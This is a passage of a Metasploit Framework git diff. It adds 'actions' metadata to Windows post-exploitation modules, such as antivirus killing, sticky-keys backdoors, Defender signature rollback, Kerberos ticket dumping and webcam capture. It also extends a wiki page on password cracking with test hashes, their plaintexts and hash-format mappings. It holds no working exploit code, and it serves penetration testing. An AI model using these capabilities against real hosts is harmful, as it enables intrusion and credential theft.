"name": "Windows Gather Screen Spy", @@ -250181,7 +258573,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/smart_hashdump": { "name": "Windows Gather Local and Domain Controller Account Password Hashes", @@ -250217,7 +258612,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/tcpnetstat": { "name": "Windows Gather TCP Netstat", @@ -250253,7 +258651,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/usb_history": { "name": "Windows Gather USB Drive History", @@ -250289,7 +258690,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/win_privs": { "name": "Windows Gather Privileges Enumeration", @@ -250325,7 +258729,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/wmic_command": { "name": "Windows Gather Run WMIC Commands", @@ -250370,7 +258777,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/word_unc_injector": { "name": "Windows Gather Microsoft Office Word UNC Path Injector", @@ -250406,7 +258816,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/add_user": { "name": "Windows Manage Add User to the Domain and/or to a Domain Group", @@ -250452,7 +258865,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/archmigrate": { "name": "Architecture Migrate", @@ -250488,7 +258904,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/change_password": { "name": "Windows Manage Change Password", @@ -250524,7 +258943,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/clone_proxy_settings": { "name": "Windows Manage Proxy Setting Cloner", @@ -250560,7 +258982,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/delete_user": { "name": "Windows Manage Local User Account Deletion", @@ -250596,7 +259021,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/dell_memory_protect": { "name": "Dell DBUtilDrv2.sys Memory Protection Modifier", @@ -250651,7 +259079,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/download_exec": { "name": "Windows Manage Download and/or Execute", @@ -250687,7 +259118,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/driver_loader": { "name": "Windows Manage Driver Loader", @@ -250723,7 +259157,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/enable_rdp": { "name": "Windows Manage Enable Remote Desktop", @@ -250759,7 +259196,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/enable_support_account": { "name": "Windows Manage Trojanize Support Account", @@ -250795,7 +259235,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/exec_powershell": { "name": "Windows Powershell Execution Post Module", @@ -250832,7 +259275,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/execute_dotnet_assembly": { "name": "Execute .net Assembly (x64 only)", @@ -250877,7 +259323,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/forward_pageant": { "name": "Forward SSH Agent Requests To Remote Pageant", @@ -250923,7 +259372,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/hashcarve": { "name": "Windows Local User Account Hash Carver", @@ -250959,7 +259411,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/ie_proxypac": { "name": "Windows Manage Proxy PAC File", @@ -250996,7 +259451,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/inject_ca": { "name": "Windows Manage Certificate Authority Injection", @@ -251032,7 +259490,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/inject_host": { "name": "Windows Manage Hosts File Injection", @@ -251068,7 +259529,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/install_python": { "name": "Install Python for Windows", @@ -251115,7 +259579,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/install_ssh": { "name": "Install OpenSSH for Windows", @@ -251153,7 +259620,71 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] + }, + "post_windows/manage/kerberos_tickets": { + "name": "Kerberos Ticket Management", + "fullname": "post/windows/manage/kerberos_tickets", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Will Schroeder", + "Spencer McIntyre" + ], + "description": "Manage kerberos tickets on a compromised host.", + "references": [ + "URL-https://github.com/GhostPack/Rubeus", + "URL-https://github.com/wavvs/nanorobeus" + ], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-10-24 17:32:48 +0000", + "path": "/modules/post/windows/manage/kerberos_tickets.rb", + "is_install_path": true, + "ref_name": "windows/manage/kerberos_tickets", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + + ], + "Reliability": [ + + ], + "SideEffects": [ + + ] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [ + { + "name": "DUMP_TICKETS", + "description": "Dump the Kerberos tickets" + }, + { + "name": "ENUM_LUIDS", + "description": "Enumerate session logon LUIDs" + }, + { + "name": "SHOW_LUID", + "description": "Show the current LUID" + } + ] }, "post_windows/manage/killav": { "name": "Windows Post Kill Antivirus and Hips", @@ -251203,7 +259734,10 @@ "powershell", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/make_token": { "name": "Make Token Command", @@ -251253,7 +259787,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/migrate": { "name": "Windows Manage Process Migration", @@ -251290,7 +259827,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/mssql_local_auth_bypass": { "name": "Windows Manage Local Microsoft SQL Server Authorization Bypass", @@ -251326,7 +259866,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/multi_meterpreter_inject": { "name": "Windows Manage Inject in Memory Multiple Payloads", @@ -251363,7 +259906,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/nbd_server": { "name": "Windows Manage Local NBD Server for Remote Disks", @@ -251399,7 +259945,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/peinjector": { "name": "Peinjector", @@ -251435,7 +259984,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/persistence_exe": { "name": "Windows Manage Persistent EXE Payload Installer", @@ -251481,7 +260033,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/portproxy": { "name": "Windows Manage Set Port Forwarding With PortProxy", @@ -251517,7 +260072,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/powershell/build_net_code": { "name": "Powershell .NET Compiler", @@ -251553,7 +260111,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/powershell/exec_powershell": { "name": "Windows Manage PowerShell Download and/or Execute", @@ -251590,7 +260151,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/powershell/load_script": { "name": "Load Scripts Into PowerShell Session", @@ -251627,7 +260191,10 @@ "session_types": [ "powershell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/pptp_tunnel": { "name": "Windows Manage Remote Point-to-Point Tunneling Protocol", @@ -251663,7 +260230,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/priv_migrate": { "name": "Windows Manage Privilege Based Process Migration ", @@ -251700,7 +260270,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/pxeexploit": { "name": "Windows Manage PXE Exploit Server", @@ -251736,7 +260309,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/reflective_dll_inject": { "name": "Windows Manage Reflective DLL Injection Module", @@ -251773,7 +260349,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/remove_ca": { "name": "Windows Manage Certificate Authority Removal", @@ -251809,7 +260388,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/remove_host": { "name": "Windows Manage Host File Entry Removal", @@ -251845,7 +260427,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/rid_hijack": { "name": "Windows Manage RID Hijacking", @@ -251881,7 +260466,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/rollback_defender_signatures": { "name": "Disable Windows Defender Signatures", @@ -251927,7 +260515,17 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "ROLLBACK", + "description": "Rollback Defender signatures" + }, + { + "name": "UPDATE", + "description": "Update Defender signatures" + } + ] }, "post_windows/manage/rpcapd_start": { "name": "Windows Manage Remote Packet Capture Service Starter", @@ -251963,7 +260561,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/run_as": { "name": "Windows Manage Run Command As User", @@ -251999,7 +260600,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/run_as_psh": { "name": "Windows 'Run As' Using Powershell", @@ -252035,7 +260639,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/sdel": { "name": "Windows Manage Safe Delete", @@ -252071,7 +260678,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/shellcode_inject": { "name": "Windows Manage Memory Shellcode Injection Module", @@ -252107,7 +260717,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/sshkey_persistence": { "name": "SSH Key Persistence", @@ -252144,7 +260757,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/sticky_keys": { "name": "Sticky Keys Persistence Module", @@ -252182,7 +260798,17 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "ADD", + "description": "Add the backdoor to the target." + }, + { + "name": "REMOVE", + "description": "Remove the backdoor from the target." + } + ] }, "post_windows/manage/vmdk_mount": { "name": "Windows Manage VMDK Mount Drive", @@ -252218,7 +260844,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/vss": { "name": "Windows Manage Volume Shadow Copies", @@ -252264,7 +260893,33 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "VSS_CREATE", + "description": "Create a new VSS copy" + }, + { + "name": "VSS_GET_INFO", + "description": "Get VSS information" + }, + { + "name": "VSS_LIST_COPIES", + "description": "List VSS copies" + }, + { + "name": "VSS_MOUNT", + "description": "Mount a VSS copy" + }, + { + "name": "VSS_SET_MAX_STORAGE_SIZE", + "description": "Set the VSS maximum storage size" + }, + { + "name": "VSS_UNMOUNT", + "description": "Unmount a VSS copy" + } + ] }, "post_windows/manage/wdigest_caching": { "name": "Windows Post Manage WDigest Credential Caching", @@ -252300,7 +260955,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/manage/webcam": { "name": "Windows Manage Webcam", @@ -252336,7 +260994,17 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "LIST", + "description": "Show a list of webcams" + }, + { + "name": "SNAPSHOT", + "description": "Take a snapshot with the webcam" + } + ] }, "post_windows/recon/computer_browser_discovery": { "name": "Windows Recon Computer Browser Discovery", @@ -252372,7 +261040,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/recon/outbound_ports": { "name": "Windows Outbound-Filtering Rules", @@ -252408,7 +261079,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/wlan/wlan_bss_list": { "name": "Windows Gather Wireless BSS Info", @@ -252444,7 +261118,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/wlan/wlan_current_connection": { "name": "Windows Gather Wireless Current Connection Info", @@ -252480,7 +261157,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/wlan/wlan_disconnect": { "name": "Windows Disconnect Wireless Connection", @@ -252516,7 +261196,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/wlan/wlan_probe_request": { "name": "Windows Send Probe Request Packets", @@ -252552,7 +261235,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/wlan/wlan_profile": { "name": "Windows Gather Wireless Profile", @@ -252588,6 +261274,9 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] } } \ No newline at end of file diff --git a/docs/metasploit-framework.wiki/Hashes-and-Password-Cracking.md b/docs/metasploit-framework.wiki/Hashes-and-Password-Cracking.md index 2b9aac8914..e29a4910d9 100644 --- a/docs/metasploit-framework.wiki/Hashes-and-Password-Cracking.md +++ b/docs/metasploit-framework.wiki/Hashes-and-Password-Cracking.md @@ -85,6 +85,15 @@ This section will cover the differences between the two crackers. This is not a | NetNTLMv1 | netntlm | 5500 | | NetNTLMv2 | netntlmv2 | 5600 | | pbkdf2-sha256 | PBKDF2-HMAC-SHA256 | 10900 | +| Android (Samsung) SHA1 | | 5800 | +| Android (non-Samsung) SHA1 | | 110 | +| Android MD5 | | 10 | +| xsha | xsha | 122 | +| xsha512 | xsha512 | 1722 | +| PBKDF2-HMAC-SHA512 | PBKDF2-HMAC-SHA512 | 7100 | +| PBKDF2-HMAC-SHA1 | PBKDF2-HMAC-SHA1 | 12001 | +| PHPass | phpass | 400 | +| mediawiki | mediawiki | 3711 | While Metasploit standardizes with the JtR format, the hashcat [library](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb) includes the `jtr_format_to_hashcat_format` function to translate from jtr to hashcat. @@ -136,6 +145,8 @@ creds add user:lm_password ntlm:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB11 creds add user:nt_password ntlm:AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C jtr:nt creds add user:u4-netntlm hash:u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c jtr:netntlm creds add user:admin hash:admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030 jtr:netntlmv2 +creds add user:mscash-test1 hash:M$test1#64cd29e36a8431a2b111378564a10631 jtr:mscash +creds add user:mscash2-hashcat hash:$DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f jtr:mscash2 # sql creds add user:mssql05_toto hash:0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 jtr:mssql05 creds add user:mssql_foo hash:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 jtr:mssql @@ -152,7 +163,20 @@ creds add user:oracle11_epsilon hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C creds add user:oracle12c_epsilon hash:'H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B' jtr:pbkdf2,oracle12c ## postgres uses username, so we can't override that here creds add user:example postgres:md5be86a79bf2043622d58d5453c47d4860 -## other +# mobile +creds add user:samsungsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-samsung-sha1 +creds add user:androidsha1 hash:9860A48CA459D054F3FEF0F8518CF6872923DAE2:81fcb23bcadd6c5 jtr:android-sha1 +creds add user:androidmd5 hash:1C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c5 jtr:android-md5 +# OSX +creds add user:xsha_hashcat hash:1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683 jtr:xsha +creds add user:pbkdf2_hashcat hash:$ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f96cbcb20a1ffb400718c20382030f637892f776627d34e021bad4f81b7de8222 jtr:PBKDF2-HMAC-SHA512 +creds add user:xsha512_hashcat hash:648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32d jtr:xsha512 +# webapps +creds add user:mediawiki_hashcat hash:$B$56668501$0ce106caa70af57fd525aeaf80ef2898 jtr:mediawiki +creds add user:phpass_p_hashcat hash:$P$984478476IagS59wHZvyQMArzfx58u. jtr:phpass +creds add user:phpass_h_hashcat hash:$H$984478476IagS59wHZvyQMArzfx58u. jtr:phpass +creds add user:atlassian_hashcat hash:{PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa jtr:PBKDF2-HMAC-SHA1 +# other creds add user:hmac_password hash:'<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9' jtr:hmac-md5 creds add user:vmware_ldap hash:'$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6' jtr:dynamic_82 creds add user:admin hash:'$pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU' jtr:pbkdf2-sha256 @@ -160,32 +184,44 @@ creds add user:admin hash:'$pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlI This data breaks down to the following table: -| | Hash Type | Username | Hash | Password | jtr format | Modules which dump this info | Modules which crack this | | | | -|---|--------------------------------------|--------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------|--------------------|---------------------------------------------------|-----------------------------------------------------------|---|---|---| -| | DES | des_password | `rEK1ecacw.7.c` | password | des | | auxiliary/analyze/crack_aix auxiliary/analyze/crack_linux | | | | -| | MD5 | md5_password | `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/` | password | md5 | | auxiliary/analyze/crack_linux | | | | -| | BSDi | bsdi_password | `_J9..K0AyUubDrfOgO4s` | password | bsdi | | auxiliary/analyze/crack_linux | | | | -| | SHA256 | sha256_password | `$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5` | password | sha256,crypt | | auxiliary/analyze/crack_linux | | | | -| | SHA512 | sha512_password | `$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1` | password | sha512,crypt | | auxiliary/analyze/crack_linux | | | | -| | Blowfish | blowfish_password | `$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe` | password | bf | | auxiliary/analyze/crack_linux | | | | -| | Lanman | lm_password | `E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C` | password | lm | | auxiliary/analyze/crack_windows | | | | -| | NTLM | nt_password | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` | password | nt | | auxiliary/analyze/crack_windows | | | | -| | NetNTLMv1 | u4-netntlm | `u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c` | hashcat | netntlm | | auxiliary/analyze/crack_windows | | | | -| | NetNTLMv2 | admin | `admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030` | hashcat | netntlmv2 | | auxiliary/analyze/crack_windows | | | | -| | MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases | | | | -| | MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases | | | | -| | MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases | | | | -| | MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases | | | | -| | MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases | | | | -| | Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | | -| | Oracle | SYSTEM | `9EEDFA0AD26C6D52` | THALES | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | | -| | Oracle 11 | DEMO | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | | -| | Oracle 11 | oracle11_epsilon | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | modules/auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | | -| | Oracle 12 | oracle12_epsilon | `H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B` | epsilon | pbkdf2,oracle12c | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | | -| | Postgres | example | `md5be86a79bf2043622d58d5453c47d4860` | password | raw-md5,postgres | auxiliary/scanner/postgres/postgres_hashdump | auxiliary/analyze/crack_databases | | | | -| | HMAC-MD5 | hmac_password | `<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9` | password | hmac-md5 | auxiliary/server/capture/smtp | None | | | | -| | SHA512($p.$s)/dynamic_82/vmware ldap | vmware_ldap | `$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6` | TestPass123# | dynamic_82 | | None | | | | -| | pbkdf2-sha256 | admin | `$pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU` | admin | PBKDF2-HMAC-SHA256 | exploit/linux/http/apache_superset_cookie_sig_rce | auxiliary/analyze/webapp | | | | +| Hash Type | Username | Hash | Password | jtr format | Modules which dump this info | Modules which crack this | +| ------------------------------------ | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | -------------------- | ------------------------------------------------ | --------------------------------------------------------- | +| ----------- | ---------- | ------ | ---------- | ------------ | ------------------------------ | ------------------------- | +| DES | des_password | `rEK1ecacw.7.c` | password | des | post/aix/gather/hashdump | auxiliary/analyze/crack_aix auxiliary/analyze/crack_linux | +| MD5 | md5_password | `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/` | password | md5 | post/linux/gather/hashdump | auxiliary/analyze/crack_linux | +| BSDi | bsdi_password | `_J9..K0AyUubDrfOgO4s` | password | bsdi | post/linux/gather/hashdump | auxiliary/analyze/crack_linux | +| SHA256 | sha256_password | `$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5` | password | sha256,crypt | post/linux/gather/hashdump | auxiliary/analyze/crack_linux | +| SHA512 | sha512_password | `$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1` | password | sha512,crypt | post/linux/gather/hashdump | auxiliary/analyze/crack_linux | +| Blowfish | blowfish_password | `$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe` | password | bf | post/linux/gather/hashdump | auxiliary/analyze/crack_linux | +| Lanman | lm_password | `E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C` | password | lm | post/windows/gather/hashdump | auxiliary/analyze/crack_windows | +| NTLM | nt_password | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` | password | nt | post/linux/gather/hashdump | auxiliary/analyze/crack_windows | +| NetNTLMv1 | u4-netntlm | `u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c` | hashcat | netntlm | | auxiliary/analyze/crack_windows | +| NetNTLMv2 | admin | `admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030` | hashcat | netntlmv2 | | auxiliary/analyze/crack_windows | +| MSCash | mscash-test1 | 